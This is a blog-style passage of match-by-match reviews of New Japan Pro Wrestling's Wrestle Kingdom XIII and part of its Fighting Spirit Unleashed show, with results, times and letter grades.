IMG Credit: New Japan Pro Wrestling

Wrestle Kingdom XIII
Date: January 4, 2019
Location: Tokyo Dome, Tokyo, Japan
Attendance: 38,162
Commentators: Don Callis, Chris Charlton, Kevin Kelly

Well this is a big one. It’s the Japanese equivalent of Wrestlemania and the biggest non-WWE show of the year. This year’s card is absolutely stacked (tends to be the case) and while I’m not the biggest New Japan fan, there’s a very strong chance of this show being nothing short of incredible. Let’s get to it.

As always, please note that I don’t watch NJPW regularly. I know the basic stories and looked up a few things beforehand, but I’m going to miss some details and character motivations in some parts.

Gauntlet Match

The winners get a Never Openweight Six Man Tag Team Title shot, I believe at tomorrow’s New Year’s Dash show. The Elite (Yujiro Takahashi, Marty Scurll and Hangman Page with Chase Owens in their corner) and Yuji Nagata/David Finlay/Jeff Cobb start things off with Cobb sporting a taped up shoulder. Scurll headscissors Nagata to start and gets smart by kicking the knee out instead of trying a slugout. The finger snap is broken up but so is Nagata’s reverse Figure Four.

Cobb comes in and gets triple teamed to the floor, with Page adding the shooting star from the apron. Back in and Cobb tosses Page in a fall away slam, allowing the tag to Finlay. Everything breaks down and Finlay hits a Rock Bottom backbreaker on Takahashi as everyone else heads to the floor. Owens grabs Finlay’s foot for a save but accidentally gets kicked down by Page. The distraction is enough for Finlay to roll Takahashi up for the pin and the elimination at 4:43.

Next up is Chuckie T/Beretta/Hirooki Goto with Goto and Nagata slugging it out in the middle. Chuckie and Beretta break it up and there’s a big flip dive from Chuckie onto Cobb and Finlay. Beretta adds an Asai moonsault onto both of them, leaving Goto to hit the fireman’s carry backbreaker for two on Nagata. Things settle down with Chuckie and Beretta getting in a huge to set up a double elbow drop.

Nagata scores with an exploder suplex and it’s off to Cobb to clean house. We get the big clotheslines from Cobb and Goto until some double teaming slows Cobb down. That’s fine with him as he suplexes both of them down without much effort. Chuckie’s piledriver gets two on Finlay but he misses the moonsault, allowing Finlay to grab a quick rollup for the pin at 13:40.

Minoru Suzuki and the Killer Elite Squad are in fourth and of course the brawl is on in a hurry. Nagata and Suzuki slug it out (well duh) with the revolving slaps until Nagata gets two off a t-bone suplex. Smith comes in but gets kicked in the leg, allowing the hot tag to Cobb for the hoss battle. The Angle Slam sets up the standing moonsault but Smith gets away as everything breaks down. The Killer Bomb finishes Finlay at 18:34.

Ryusuke Taguchi/Togi Makabe/Toru Yano are the final team so it’s time for COMEDY! The Squad beats the funny out of them in the aisle though and Suzuki goes after commentary due to reasons of evil. We settle down to Smith kicking Taguchi in the face, hitting the Hulk Hogan poses, and dropping a leg for two. Archer comes in for an Undertaker rope walk, though he spices it up a bit with a tag while on the ropes. It’s off to Suzuki, who actually gets knocked down so Makabe can come in for some power.

Suzuki runs him over again but the kicks seem to fire Makabe up. A double clothesline allows the double tag to Yano and Smith so Yano can go straight for the buckle pad. Archer comes in for the Hart Attack, followed by a side slam/middle rope splash combination for a near fall each. Suzuki tries the Gotch piledriver on Makabe but gets taken down by Taguchi’s hip attack. The Squad goes after Makabe but it’s a double low blow from Yano to set up the rollup pin on Smith for the title shot at 27:48.

Rating: C-. This was ok and a good way to get a bunch of people on the show without having a battle royal. I’m really not a fan of Yano (repetitive comedy gets old in a hurry) but the fans love him and that’s enough of a reason to give his team the win here. The length was fine and it’s an acceptable Kickoff Show match, which is exactly the right idea. Nothing great, but fine.

Video on the Best Of 2018, including various attendances for the bigger shows.

Ads for upcoming shows, including one in Dallas at the American Airlines Center on July 6 and a show in England on August 31. Also, next year’s New Year’s Dash will be in the Tokyo Dome as well.

We get the video running down the card, featuring the show order. This is rather stacked, as always.

Never Openweight Title: Will Ospreay vs. Kota Ibushi

Kota is defending and egads what an opener. They start with Ibushi being monkey flipped to the floor, leaving Ospreay to hit the superhero pose. Ibushi dives back in and blocks the Oscutter and we’re now forty five seconds in with a standoff. The kick to the chest misses Ospreay so Ibushi dropkicks him to the floor, only to miss the middle rope moonsault in a big crash as Ospreay somehow gets to the apron and kicks him out of the air.

The Space Flying Tiger Drop has Ibushi in even more trouble and a backbreaker gives Ospreay two. Ibushi is right back up with a hurricanrana to the floor, setting up a top rope corkscrew Asai moonsault (good grief) to drop Ospreay again. Back in and Ibushi nails a rolling German suplex but Ospreay scores with a handspring spinning kick to the head. Ospreay hits a Cheeky Nandos Kick for two more and it’s time to trade forearms. Ibushi gets the better of it but neither can hit a powerbomb.

Instead Osprey kicks him in the chest and grabs a Spanish Fly to put both of them down. Stormbreaker is countered into a hurricanrana for two and there’s the sliding knee to Ospreay’s head. The sitout Last Ride gives Ibushi two more but Ospreay catches him on top with the knee getting caught in the Tree of Woe. They slug it out from there (as in with Ibushi hanging upside down) until Ospreay kicks him in the face to take over.

What looked to be a super Stormbreaker is countered but Ospreay flips out of a German superplex, which seems to be a callback to a recent match. Ibushi’s straitjacket suplex gets two and they trade some heavy shots to the head. Stormbreaker is countered again into an exchange of counters, capped off by Ibushi hitting a kneeling tombstone. Somehow he’s up first and hits a heck of a running back elbow to the back of Ibushi’s head. Ibushi is DONE and the Stormbreaker gives Ospreay the pin and the title at 18:14.

Rating: B+. Well we’re off to a great start. This was an awesome “I hit something big then you hit something bigger” exchange with Ospreay being in his element with that style. Ibushi is still one of the best high fliers ever and looked great here, but Ospreay winning makes sense given how much star potential he has. Excellent opener with some very hard hitting action.

Ibushi is taken out on a stretcher and apparently had a legit concussion.

IWGP Junior Heavyweight Tag Team Titles: Roppongi 3K vs. Suzuki-Gun vs. Los Ingobernables de Japon

Suzuki-Gun (Yoshinobu Kanemaru/El Desperado) are defending and Roppongi 3K (Sho and Yoh) has Rocky Romero in their corner. Los Ingobernables (Bushi/Shingo Takagi) start the brawl before the bell but get sent to the apron for the running flip dives from 3K. Kanemaru and Desperado break up a second set of dives and it’s Desperado chinlocking Yoh to take over. Back up and a superkick allows the tag to Sho as they’re certainly moving early on. An AJ Styles drop down into a dropkick hits Desperado and Shingo tags himself in and starts in with some hard strikes.

Sho German suplexes Shingo who German suplexes Kanemaru at the same time but Desperado nails a spear. 3K’s double jumping knees put Desperado down and a backbreaker/middle rope knee drop combination makes it even worse. With Desperado in trouble, 3K loads up….uh 3K actually but has to duck a double shot of whiskey and black mist, allowing Shingo to hit Sho with a Gory Bomb. The Big Bomber (hard lariat) gets two on Sho and Bushi dives onto Yoh. Last of the Dragon (a modified Samoan driver) gives Shingo the pin and the titles at 6:49.

Rating: C+. That was certainly short. It was entertaining while it lasted but they didn’t have time to do much. That being said, they crammed in as much as they could with 3K and Shingo looking like stars. This division has finally moved past the Young Bucks and the matches are a lot of fun. It might have been better with the less time here though as it didn’t have time to die down, which seems to be the point of a match like this.

Rev Pro British Heavyweight Title: Tomohiro Ishii vs. Zack Sabre Jr.

Ishii is defending and I saw him take the title from Sabre in New Orleans in an awesome match so this should be fun. Sabre’s manager Taka Michinoku handles the hype efforts before the match. Sabre goes straight for an abdominal stretch attempted but gets hiptossed out. An enziguri misses for Ishii and Sabre takes him down into a cross armbreaker, sending the champ to the ropes after some good cranking.

Sabre’s kicks to the chest are shrugged off so he slaps on another armbar to send Ishii right back to the ropes. Those cocky kicks to the side of Ishii’s head just wake him up (like Flair’s chops to Sting) but Sabre takes him over with a northern lights suplex. They trade ankle locks until Ishii shoulders the heck out of him for a breather. Another suplex takes Sabre down this time and the delayed vertical superplex keeps Sabre in trouble. He holds onto the arm though and stomps on it before crashing to the side because Sabre can do things like that.

Rating: B+. This needed more time to hit their full potential but the monster Ishii vs. the villain submission machine is one of the best combinations I’ve seen in a very long time. Sabre is so crazy smooth in the ring and Ishii is one of the best tough guy wrestlers I’ve seen in a long time. I could watch these two fight for months and this was another great one from both guys.

Sabre is presented with a new title.

IWGP Tag Team Titles: Young Bucks vs. Los Ingobernables de Japon vs. Guerrillas Of Destiny

The Guerrillas are defending with Los Ingobernables (Evil and Sanada here) having won the World Tag League. They then requested that the Bucks be added because they wanted to avenge past losses. The champs also have Bad Luck Fale and Jado in their corner. Tama and Matt start things off with Tama showing off his new “good guy” persona by offering a handshake.

Evil uses the distraction to tag himself in and pull Tama to the floor. Everything breaks down and Matt gets slammed onto the ramp to bring up his annual back injury. Back in and the Guerrillas beat up Evil with Loa hitting a top rope headbutt, only to have Tama’s version broken up. The Bucks get in their shots on Evil as well to continue his bad night. Matt grabs the Sharpshooter as Nick dives onto Sanada. Evil makes the rope and comes back with a running clothesline to Matt.

It’s off to Sanada to clean house on everyone, including the slingshot dive onto the Bucks. That’s enough selling from the Bucks though as they’re right back up with a springboard Blockbuster/Russian legsweep combination on Sanada but the Guerrillas come back in to start wrecking things (again). The Tower of Doom sends Matt back first onto the mat, leaving Nick to hit a 450. Fale and Jado come in and are dispatched by the Bucks just as quickly but Los Ingobernables get up for Everything Is Evil and the Magic Killer. Sanada moonsaults onto Nick for the pin and the titles at 10:16.

Rating: C+. This was similar to the Junior Tag Team Title match with a lot of stuff crammed in. That’s not the worst thing in the world but it’s another quick match in a series of them tonight. Evil and Sanada have been awesome for a long time now though and it makes sense to put the titles back on them. Now just keep the things on them for awhile this time around.

IWGP United States Title: Juice Robinson vs. Cody

Cody, in Jacksonville Jaguars colors for a nice touch, is defending and I think you know where this is going. A pre-bell belt shot misses and Juice starts hammering away until Cody grabs his knee. Juice isn’t buying it and stays on him with a gutbuster. That’s enough for Juice to go up top but Brandi covers Cody up to prevent the dive. Pulp Friction on the apron is broken up with a shove into the post and Juice is holding his shoulder. Back in and Cody busts out some jumping jacks before stopping for a kiss from Brandi.

Speaking of Brandi, she hits a spear with her bionic shoulder but the referee tosses her. Pulp Friction is countered into Cross Rhodes for a close two and Cody is getting frustrated. Another Pulp Friction is reversed into Cross Rhodes on Cody, who of course hits a Pulp Friction of his own for two more. Cody whips him with the weightlifting belt but tells Robinson to get up. That’s just what Juice does before hammering away with left hands. Pulp Friction connects and Robinson adds a second for the pin and the title at 9:05.

Rating: D+. Brandi aside, this was pretty bad with the match flying by and not having any time to do anything. It felt like they skipped the beginning and most of the middle and just went to the finish, which didn’t make for much of a match. Robinson getting the title back is fine, but egads can something other than the opener get fifteen minutes tonight?

IWGP Junior Heavyweight Title: Taiji Ishimori vs. Kushida

Ishimori, of Bullet Club, is challenging here. And here’s a mini Kushida….and Doc Brown comes out to get him. Doc pulls out a remote control and seemingly blows mini Kushida up, turning him into the real thing. Eh I love Back to the Future so I’m good, even if that didn’t make much sense. Kushida starts in on the wristlock before kicking at the arm in a smart move. The cartwheel into the dropkick has Ishimori in even more trouble but it’s too early for the Hoverboard Lock.

Ishimori grabs the LeBell Lock in the middle of the ring and the crawl to the rope takes its time. A springboard seated senton keeps Kushida in trouble and the sliding German suplex, ala John Morrison, keeps Kushida down. Kushida grabs a triangle choke but Ishimori fights up and spins around for a failed Crossface attempt. A Tombstone into a Codebreaker is countered and Kushida kicks him down again. Another Codebreaker gives Ishimori two but Kushida reverses a suplex into the Hoverboard Lock.

That’s rolled through into an AA as Kushida isn’t able to do much with the rather unstoppable Ishimori. Kushida grabs a quick Back to the Future and tries another but Ishimori blocks (I’m not sure that’s how it’s supposed to work) so Kushida blasts him with a right hand. That’s shrugged off as well and the Bloody Cross gives Ishimori the title at 11:16.

Rating: B-. Geez this hasn’t been a good night for the champions so far. The problem for Kushida is there’s nothing left for him to do as a junior heavyweight so what is there left for him to do in the entire promotion? Ishimori looked like a killer here and could be a heck of a champion for a long time. Or until next Wrestle Kingdom when every champion loses again.

We recap Kazuchika Okada vs. Jay White. Okada was the king of the company for a few years but manager/adviser Gedo turned on him in favor of White. That sent White onto a great heel run where he wants to prove that he’s the best and now it’s time for him to face the huge challenge. Also, Okada has been shaken up since losing the World Title but is back in form tonight.

Jay White vs. Kazuchika Okada

Okada’s trunks have returned, because it’s the old, amazing version again tonight. They don’t go straight at each other to start so Gedo distracts Okada and White stomps away. Okada is right back up with an elbow to the back of the head but White suplexes him out to the floor. Back in and White gets two off a belly to back suplex and we hit the cravate. Okada fights up and gets all ticked off though as the fans start getting into this again.

White gets sat on top for the dropkick to the floor, followed by a running big boot to send him over the barricade. Okada isn’t done and sends Gedo out next to White for a running crossbody to take them both down. Back in and Okada hits the Rainmaker pose but gets caught in a German suplex. A Rock Bottom gives White two but Blade Runner is blocked. It’s time to cheat as Gedo puts a chair in the ring and tries to come in, only to have the chair shot miss.

Okada scores with the dropkick but walks into a suplex onto the back of his head. Another Blade Runner is countered into a Tombstone for two as White’s kicking brings the fans back up to cheer for Okada. Yet another dropkick connects and it’s a series of counters until the Rainmaker connects. Okada isn’t done though and tries it again, only to get countered into the Blade Runner for the completely clean pin at 14:21.

Rating: B. That’s the kind of story to a match that this show has been needing with White beating Okada at his best (which was specified multiple times throughout the night). They made a star here and that’s exactly what they needed to do. It helps that I’ve been a White fan since I saw him debut in ROH so this was really cool to see. They told a story here and it’s the kind of career defining win that someone like White needs. Well done here with a very good story, especially with the usually cool Okada being out for revenge instead of the win because Gedo has gotten into his head. Very good all around here.

We recap Chris Jericho vs. Tetsuya Naito, which is a long running feud after Jericho took Naito’s Intercontinental Title. Jericho has since said that he scared Naito into his shell and gone into his usual Jericho awesomeness, attacking Naito at every chance and saying he’ll end Naito’s career. Naito has basically responded with “eh, it’s cool”, which fits him perfectly.

Intercontinental Title: Tetsuya Naito vs. Chris Jericho

Jericho is defending and this is No DQ. Since he’s Chris Jericho, he comes to the ring in a black hat, a spiked leather jacket and wearing Crow inspired face paint. In other words, it somehow suits him perfectly. Naito jumps him before the bell as payback for Jericho doing the same thing in their previous match. The referee rings the bell with them on the floor because he knows they’re not getting inside anytime soon.

Naito piledrives him on the ramp and takes him inside for the removal of a buckle pad. A hurricanrana takes Jericho (with the long hair again) down and a clothesline puts him right back on the floor. Naito’s dive is blocked with a kendo stick shot though and it’s time for the stick shots. The springboard dropkick knocks Naito off the apron and Jericho grabs a camera for some filming of the downed Naito. They head into the announcers’ area with Jericho hitting one of the scariest looking DDT’s I’ve ever seen, with Naito landing on the top of his head with a CRACK.

Jericho rings the bell but the referee won’t stop the match, even though Naito seems a bit dead. A high crossbody gives Jericho two and it’s time for some listening to the crowd, because Jericho knows how to be a huge villain. The Lionsault gets two and there’s the belly to back suplex into the arrogant cover for the same. Naito comes back with some right hands and shrugs off some kicks to the face.

Some spit in Jericho’s face sets up a neckbreaker for two but the Walls put Naito right back in trouble. Naito slips out and kicks Jericho away before hitting something like a pump handle suplex for two. Destino is reversed into the Walls again (Jericho: “ASK HIM!”) until Naito finds the kendo stick for the break. A baseball swing with the stick drops Jericho again but he scores with a Codebreaker for a close two. Some chairs are thrown in and piled up but the powerbomb onto them are countered into a DDT near them.

Naito hits his own Codebreaker for two and a German suplex onto the chairs makes it even worse. Destino is countered again though and Jericho shoves the referee (not really necessary) so a low blow can stop Naito. There’s the Codebreaker for a heck of a near fall so Jericho grabs the belt. That’s countered into a hot shot into the exposed buckle, setting up Destino for another white hot near fall. Naito blasts him with the belt and now Destino gives Naito the pin at 22:34.

Rating: A-. This felt more like the Jericho vs. Omega match as Jericho was the angry veteran who could still hang in there and show how vicious he could be. It was entertaining stuff with Naito showing that he could do it on this stage and win the big one over the veteran. I had a really good time with this and Naito came off like the star they want to make the future center of the promotion, which he pretty much is.

Jericho storms off as Naito is awarded the title.

We recap Kenny Omega vs. Hiroshi Tanahashi for the IWGP World Title. Champion Omega is the new breed while Tanahashi is the old dog who is having yet another career resurgence to prove that he’s still got it one more time. He won the G1 Climax tournament to earn the shot and Omega doesn’t seem to be taking him completely seriously while promising to destroy Tanahashi once and for all.

IWGP World Title: Hiroshi Tanahashi vs. Kenny Omega

Omega is defending and has the Young Bucks with him, plus an NES inspired entrance to make him a bit more awesome. Tanahashi on the other hand has a cool ring jacket with the shape of the title cut out around the waist. There’s no major contact for the first minute and a half so Tanahashi gets in a slap. Omega drives him into the ropes so Tanahashi slaps him again. A very early attempt at the One Winged Angel is countered into an abdominal stretch before Tanahashi starts in on the knee.

They slap it out with Omega’s leg tied up and Omega gets in a shot of his own to take over. He starts hammering on the back as the announcers go over Tanahashi’s main event history, including talking about how bad business was when he took over the top spot. A running kick to the back sets up more slaps to the face and a belly to back sends Tanahashi to the floor. There’s a belly to back suplex onto the apron as Omega is a full on heel here. Tanahashi gets in a dropkick but Omega drives him back first into the apron to take over again.

They head into the Japanese announcers’ area with Omega running over a commentator and raising his hand as an apology. It’s table time with Omega setting one up on the floor before taking the fight back inside for the chop off. A dragon screw legwhip takes Omega down again and the middle rope Swanton gets two. Omega is fine enough to hit the running Fameasser and Tanahashi falls outside. It’s too early for the Rise of the Terminator so Tanahashi breaks it up, only to be thrown outside for the big running flip dive. Omega’s foot hits him in the face but Omega lands hard on the edge of the ramp.

Back in and Omega hits a pair of snapdragons and the first V Trigger (I’ll put the over/under at 15). The One Winged Angel is countered and Omega’s knee gives out. There’s another legwhip, followed by Twist and Shout into the Texas Cloverleaf to stay on the knee. For a flashback, a Styles Clash plants Omega but the High Fly Flow (sounds like a shower setting) hits knees. Another V Trigger hits the buckle though and a third dragon screw, this time over the rope, has Omega in more trouble.

The Sling Blade on the apron puts him down again and Tanahashi puts him on the table. Another High Fly Flow misses Omega though and they’re both near death outside. Back in again and Omega hits a top rope double stomp to the back. Two powerbombs get two each and the sitout version gets the same. The frustrated Omega chokes away so Tanahashi comes back with a Sling Blade and it’s time to slug it out again. Omega has to cover up until some knees to the ribs cut Tanahashi off.

Tanahashi shrugs off a German suplex but gets caught in a Sling Blade to switch things up. Omega drops a High Fly Flow of his own for two and there’s another V Trigger to rock Tanahashi again. A regular knee to the head is called a V Trigger and the reverse hurricanrana connects. The….whatevereth V Trigger connects but the One Winged Angel is countered into a reverse hurricanrana from Tanahashi.

A high crossbody sets up the real High Fly Flow for a crazy close two. Tanahashi goes up again and gets caught with another V Trigger. The super dragon suplex (with Tanahashi flipping over and landing on his face to avoid the whole broken neck thing) sets up another V Trigger but the One Winged Angel is countered into something like a leg lariat. Another Sling Blade sets up another High Fly Flow for the pin and the title in an upset at 39:14.

Rating: A. Very good though not outstanding match here. That might not be the biggest surprise given that Omega seems to be leaving the promotion soon, but it’s still a heck of a performance. Tanahashi getting the title back is a great story with him reclaiming his place at the top of the mountain, but it was still missing a little something that made the previous main events that much better. Still though, great match, as you knew was coming the second the match was announced. Oh and Omega kept the V Triggers to what is considered reasonable by his standards, which is quite the plus.

Post match Omega is carried out and Tanahashi gets the big show closing address. He thanks the fans and wasn’t sure he could get to this level again. Okada helped get him here and he can’t believe it. He thanks the fans one more time and uses everything he has left for some air guitar before collapsing. One final thank you wraps us up.

Overall Rating: A. First and foremost: the show was just over four hours long instead of the usual five and that’s pretty close to the sweet spot. I could have gone for some of the matches being longer, but I’ll take the show going short rather than long every time. The big matches all delivered and while there were a few weak spots (Cody’s match in particular), the great matches are more than enough to make this a classic. It’s the highest rating I’ve given the show in four years and it was also the easiest show to watch in a long time.

Overall this show felt like a changing of the guard/resetting, with every title changing hands. Maybe those titles go right back where they were soon enough, but it certainly seems that things are changing around here. Given the startup of AEW and WWE wanting new talent, we might not be seeing some of these people on this stage again. That makes things very interesting, but more importantly it means they get to go out on a high note. Great show, and the best I’ve seen them do in a long time.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 1997 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/11/20/new-paperback-complete-1997-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: New Japan Professional Wrestling

Fighting Spirit Unleashed
Date: September 30, 2018
Location: Walter Pyramid, Long Beach, California
Attendance: 3,007
Commentators: Jim Ross, Kevin Kelly

New Japan is back in the USA and I’m not sure how special this one feels. It’s not something that comes off as a big deal anymore but at least the shows are still pretty entertaining. The main event here is a tag match with the Golden Lovers vs. Kazuchika Okada/Tomohiro Ishii, which should at least be a fun match. Let’s get to it.

We open with a quick look at the March show (Why not the July show?) and a rundown of the card. I’m still not sure if I like having the match order announced in advance or not.

There are some LARGE sections of empty seats.

Taguchi Japan vs. Roppongi 3K

That would be Jushin Thunder Liger/Ryusuke Taguchi/ACH vs. Rocky Romero/Sho/Yoh. Taguchi is even sporting rugby gear because Japan is getting ready to host the Rugby World Cup. Liger and Yoh start things off with the latter putting Liger up against the ropes for a friendly/patronizing pat to the chest. Liger runs into a dropkick but comes right back with a backbreaker.

There’s the surfboard to fulfill Liger’s contractual obligations and it’s time for all three good guys to clothesline Yoh in the corner. Taguchi uses the back of his tights (a trademark of his) but Liger gets sent into it instead and it’s Liger in trouble with Sho hitting a sliding dropkick. Rocky comes in and dropkicks the knee but Sho knocks Rocky off the apron by mistake, allowing the hot tag to ACH.

Everything speeds up with a double stomp to Sho’s back and a rapid fire string of kicks. A German suplex gets two on Sho and the fans are very pleased with ACH. Sho hits his own German suplex and it’s off to Rocky for the Forever Clotheslines on Taguchi, until the flying hip attacks get him out of trouble. Taguchi even bends over to offer them a target but triple dropkicks miss. A triple atomic drop works a bit better but the 3K is broken up. ACH dropkicks Sho and Yoh to the floor for a suicide dive, leaving Taguchi to hit a faceplant that the camera partially missed for the pin on Rocky at 8:57.

Rating: C-. Not a great match here but a fun opener with the six guys moving fast enough to keep the fans entertained. It’s always cool to see Liger and while I’m not the biggest ACH fan in the world, he’s a great choice for something like this. I still can’t believe how much better Sho and Yoh are here than they were in Ring of Honor, as the improvement is staggering.

Addiction vs. Hangman Page/Chase Owens

I still don’t get the appeal of Owens. Kelly is smart enough to let the fans know that the Addiction are part of So Cal Uncensored, hence the SCU chants from the So Cal crowd. Page and Kazarian slug it out to start because that’s just what they do. Stereo clotheslines don’t get either of them anywhere so they knock each other into the corners for a double tag. Certainly an effective way to start.

Owens speeds things up with a knee to the face and a running neckbreaker to take Daniels down so it’s already back to Kazarian. That means another neckbreaker and it’s off to Page for a dropsault for two on Kazarian and a very positive reaction. The fans think this is awesome, which sounds like quite the overreaction.

Page gets two off a tabletop suplex and it’s Owens slapping on a front facelock to keep Kazarian in place. Kazarian’s Backstabber gets him out of trouble though and it’s off to Daniels for a Rock Bottom/reverse DDT combination. A release Rock Bottom to Owens only leaves Daniels open for the Buckshot Lariat but Page’s shooting star off the apron lands in Kazarian’s Codebreaker. Back inside and the Best Meltzer Ever finishes Owens at 8:41.

Rating: C. Perfectly watchable match here as the fans were into Kazarian and Daniels and of course the Bullet Club is going to get a reaction no matter what they do. This was perfectly fine for this spot on the card as they’re still getting going and the fans are getting into the show. That’s a big part of how to build a card and a lot of companies don’t know how to pull that off.

Jeff Cobb/Flip Gordon/Chris Sabin vs. Chaos

That would be Hirooki Goto/Best Friends for Chaos. Cobb is the ROH TV Champion, which wouldn’t air on TV for over three weeks, because ROH’s TV schedule is annoying. Sabin and Chuckie trade rollups to start but everything breaks down in a hurry. Everyone crushes Chuckie in the corner and it’s la majistral to give Sabin two. Gordon comes in but gets launched into a cutter, leaving the Best Friends to load up the big hug.

Cobb isn’t having that though and runs them both over, onto to be blasted by Goto’s clothesline. Sabin takes him down with his apron kick though, leaving the Best Friends to have their hug. Now we can get to the stereo flip dives and some muscle posing, followed by the slingshot stomp to the face from Beretta. Chuckie adds the rolling slingshot splash and Sabin is in big trouble. Sabin manages to drop toehold Chuckie into Beretta’s crotch though and a tornado DDT is enough for the hot tag to Gordon.

That means it’s time to blow JR’s hat off with high flying as a springboard Sling Blade looks to set up a 450 but Beretta is out of the way. The double tag brings in Cobb and Goto and the slugout is on. Goto actually gets the better of it by avoiding a charge and hitting a Saito suplex. The GTR is countered and Cobb hits his own suplex but misses a standing moonsault. Chuckie can’t suplex Cobb but a Best Friends comboplex works a bit better. That’s cool with Cobb, who suplexes both of them right back. A piledriver gets two on Cobb but Chuckie misses the moonsault, setting up the Tour of the Islands to give Cobb the pin at 12:08.

Post match Goto and Cobb tease a fight but Goto leaves before anything happens.

Suzuki-Gun vs. Los Ingobernables de Japon

Zack Sabre Jr./Lance Archer/Davey Boy Smith Jr. vs. Tetsuya Naito/Sanada/Evil here. The announcers talk about Smith’s incredibly hard handshake and they’re right. I got to shake his hand last year and it’s the firmest I’ve ever seen by a mile. One of the stories here seems to be that Evil can’t beat Sabre no matter what he does. Fair enough. Suzuki-Gun jumps them from behind before the bell but Evil shoulders Sabre down to take over at the official start. Sanada comes in and makes the mistake of trying to trade holds with Sabre, meaning he’s quickly taken into the corner.

It’s off to Smith, whose knee gets dropkicked out in short order. A blind tag brings in Archer for a powerslam though and he runs into Sanada multiple times to knock him silly. Smith comes in again to work on Sanada’s knee with a reverse Figure Four but he can only get two of the three rolling German suplexes. A middle rope dropkick to Smith and a hurricanrana to Archer allow the hot tag to Naito so house can be cleaned.

Naito hits a neckbreaker on Smith and stops to pose but a belly to belly suplex cuts him off. The momentum isn’t exactly lasting in this one. A side slam/middle rope splash combination gets two on Naito but he’s right back with a springboard tornado DDT (See what I mean?). Sabre and Evil come in and slug it out with Sabre cranking on an armbar until Sanada makes the save.

Stereo dives take out Archer and Smith but Sabre reverses whatever Evil was setting up into something like an Octopus. That’s reversed into Darkness Falls (sitout Widowmaker) but what looked like an STO is reversed into a bridging cradle (with Sabre flipping off the crowd) for the pin on Evil at 9:31.

Rating: C+. I like most of the people in this match and this was another fun one with everyone moving at a very fast pace and showing off a little bit. Sabre’s submissions are hard enough to describe let alone keep track of what he’s doing. Archer and Smith are as dominant looking of a team as you’ll find outside of (maybe) the Guerrillas of Destiny and are always fun to watch so this one was rather entertaining.

Post match Smith powerslams Naito in the aisle. Evil is devastated by his loss and Naito looks down at him.

Jay White/Gedo vs. Taguchi Japan

It’s Kushida and Hiroshi Tanahashi for Taguchi here. Gedo has abandoned Kazuchika Okada for White, making him rather hated at the moment. White wants Tanahashi’s G1 Climax briefcase for the title shot at Wrestle Kingdom. Tanahashi wastes no time in slugging away at White, the only person who beat him in the G1 Climax, on the floor as they start in a hurry. They head inside with Tanahashi going after the knee but getting shoved off the ropes for a crash to the floor. White chops away as Gedo rips at Kushida’s face elsewhere. Back in and a Saito suplex gives White two and we settle down to an actual tag match.

An elbow drop gives White two but Gedo comes in and gets crossbodied. That’s enough to bring in Kushida to speed things up with the kicks to the face, including a seated dropkick. A rolling DDT sets up a cross armbreaker on Gedo and then the Hoverboard Lock but White makes a save. Kushida brings in Tanahashi for some running elbows and forearms, followed by Twist and Shout. Everything breaks down but Gedo uses some brass knuckles to break up the High Fly Flow. The Blade Runner finishes Tanahashi at 9:01.

Post match White says he wants his shot at the briefcase. New Japan is scared of White winning the briefcase because it doesn’t want two foreigners in the main event of Wrestle Kingdom. Tanahashi’s time is coming.

IWGP Junior Heavyweight Title Tournament Semifinals: Marty Scurll vs. Will Ospreay

The title is vacant due to Hiromu Takahashi’s neck injury so there is a tournament between the four most recent champions. The line about these two is “three things are inevitable: death, taxes and Scurll beats Ospreay”, though Ospreay did beat him earlier in the year. Bell, C4, two on Scurll, shooting star, two on Scurll, we’re now fifteen seconds in. The threat of an Oscutter sends Scurll outside so Ospreay hits a suicide dive.

Back in and a springboard clothesline drops Scurll again but he’s right back with some elbows to the face. Ospreay falls outside for the apron superkick and a stomp to the head makes things worse back inside. The cravate sets up some knees to the head and Ospreay is in even more trouble, mainly due to his eternally bad neck. Ospreay tells him to bring it so Scurll does, sending Ospreay down to the mat again.

A handspring enziguri takes Scurll down but the neck flares up again. Ospreay hits a 619 over the top (Why is that something you never see?) but Scurll kicks him outside. They strike it out on the apron but the C4 off the apron (which hurt Ospreay’s neck in the first place) is blocked. Instead Ospreay settles for a sunset bomb to the floor and they’re both down. Ospreay’s spinning kick to the back connects inside but the Oscutter is countered into a backslide for two.

Stormbreaker is broken up so Ospreay scores with a clothesline but has to grab his neck again. The super Oscutter is broken up with a good crotching and Scurll gets his own two off his own clothesline. Some chops fire Ospreay up (that’s an international one) and he hits an enziguri, only to have the Oscutter reversed into the chickenwing in a slick counter.

Ospreay flips out and hits a superkick to the back of the head for the double knockdown. Back up and the Cheeky Nandos kick hits Scurll but he’s able to break up a superplex. A super tiger suplex (Tiger superplex?) gets a crazy close two and a package piledriver sets up Graduation to finish Ospreay at 16:01.

Rating: A-. Now that was awesome stuff with both guys leaving it all in the ring and beating the heck out of each other with Scurll going serious because he was up against his archrival (the hero to his villain) in a match that mattered in the future. Ospreay of course has no problem risking death and all that jazz, leaving the two of them to tear the house down in a match that blows away anything else on the show so far. Well worth seeing, which is a first tonight (and makes sense as New Japan builds their cards higher as the show goes on).

You can tell we’re getting to the big stuff as we now have videos to build up the matches. Kenny Omega attacked AJ Styles over two years ago to take over the Bullet Club. Now the Guerrillas of Destiny have done the same thing and the Bullet Club is splitting all over again with the Guerrillas and company calling themselves the Firing Squad. The Club is now the Bullet Club Elite because the world makes my head hurt.

IWGP Tag Team Titles: Young Bucks vs. Guerrillas of Destiny

The Bucks are defending but the Guerrillas have Haku in their corner. The Guerrillas throw the belts over the top and we’re ready to go with Nick vs. Tama starting us off. They speed things up early on with neither actually hitting anything for a standoff. Everything breaks down in a hurry and the Bucks make mistake of hitting Tongans in the head. Matt launches Nick into both of them for a double dropkick and the Guerrillas are actually in some trouble.

More dropkicks see Matt’s back go out though, allowing Tama to jump Nick from behind. Loa hammers on Matt on the floor and it’s table time, which seems a bit extreme for this place. Nick saves his brother from being suplexed through the table and starts fighting both Tongans on his own. This goes as well as you might have guessed until Matt tries to make a save, earning himself a slam off the top through the table.

Loa gets sent outside for a dropkick through the ropes and there’s the Sharpshooter on Tama, with Loa making a save in short order. A spear of all things drops Tama and it’s back to Nick for the fast paced comeback. The roll into the Backstabber takes Tama down and the double superkicks get two. More Bang For Your Buck (with a long delay before Matt can do the moonsault) is good for the same on Loa but the Meltzer Driver is broken up with a Gun Stun. Matt tries some superkicks but walks into a 3D for the pin and the titles at 19:22.

